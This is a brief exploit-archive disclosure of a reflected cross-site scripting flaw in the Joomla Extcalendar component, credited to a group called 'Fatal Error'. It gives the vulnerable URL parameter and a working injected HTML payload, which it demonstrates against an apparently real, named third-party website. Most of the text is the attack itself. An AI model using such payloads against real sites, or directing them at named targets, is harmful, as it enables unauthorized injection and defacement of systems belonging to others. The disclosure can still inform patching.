The Joomla Extcalendar component suffers from a cross site scripting vulnerability.
d5cc42d8bb8a21f330f38d2225ce9e878a67b617fff9d8042ad19834cf7f5bbf
[x] Joomla Component Extcalendar
[x] Date: 15/05/2010
[x] Author: s4r4d0
[x] Contact: s4r4d0@yahoo.com
[x] Team; Fatal Error
[x] Bug: XSS on Component Extcalendar
[x] Example: http://www.site.com/index.php?option=com_extcalendar=[XSS]
[x] Demo:http://www.ctsalsa.com/cms/index.php?option=com_extcalendar=">><marquee><h1>XSS By Fatal Error</h1><marquee>
[x] Made in Brazil